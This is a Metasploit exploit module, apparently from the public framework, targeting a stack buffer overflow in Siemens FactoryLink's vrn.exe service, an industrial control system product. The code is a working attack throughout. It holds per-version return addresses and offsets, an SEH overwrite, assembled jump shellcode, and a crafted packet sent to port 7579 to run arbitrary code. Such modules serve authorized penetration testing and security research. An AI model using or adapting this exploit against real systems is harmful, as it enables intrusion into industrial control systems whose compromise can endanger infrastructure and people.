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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Siemens FactoryLink vrn.exe Opcode 9 Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2,
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        and 8.0.1.703.  By sending a specially crafted packet, an attacker may be able to
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        execute arbitrary code due to the improper use of a vsprintf() function while
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        processing the user-supplied text field.  Originally found and posted by
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        Luigi Auriemma.
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      },
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      'Author'         =>
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        [
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          'Luigi Auriemma', # Public exploit
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          'hal',            # Metasploit module
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          'MC',             # SEH, badchars, etc
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['OSVDB', '72815'],
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          ['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt'],
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          ['URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-091-01']
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'seh',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 550,
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          'BadChars' => "\x00\x20\x0a\x0d",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'FactoryLink 7.5',        { 'Ret' => 0x1c0106ac, 'Offset' => 994 } ],
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          [ 'FactoryLink 7.5 SP2',    { 'Ret' => 0x1c01069c, 'Offset' => 994 } ],
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          [ 'FactoryLink 8.0.1.703',  { 'Ret' => 0x1c01087c, 'Offset' => 998 } ],
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        ],
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      'DisclosureDate' => '2011-03-21'))
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      register_options([Opt::RPORT(7579)])
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  end
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  def exploit
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    header =  "\x3f" * 4
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    header << "\xff\x55"
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    header << "\x09\x00" # opcode
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    header << "\x3f\x3f\xff\xff"
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    header << "\x00\x00\x3f\x3f"
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    header << "\x01\x00"
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    header << "\x3f" * 16
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    header << "\x01\x00\x01\x00"
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    header << "\x3f\x3f"
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    data = rand_text_alpha_upper(65535)
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    data[448, payload.encoded.length] = payload.encoded
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    data[target['Offset'], 8]  = generate_seh_record(target.ret)
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    data[1006, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-524").encode_string
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    print_status("Trying target #{target.name}...")
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    connect
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    sock.put(header + data)
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    handler
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    select(nil,nil,nil,1)
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    disconnect
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  end
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end
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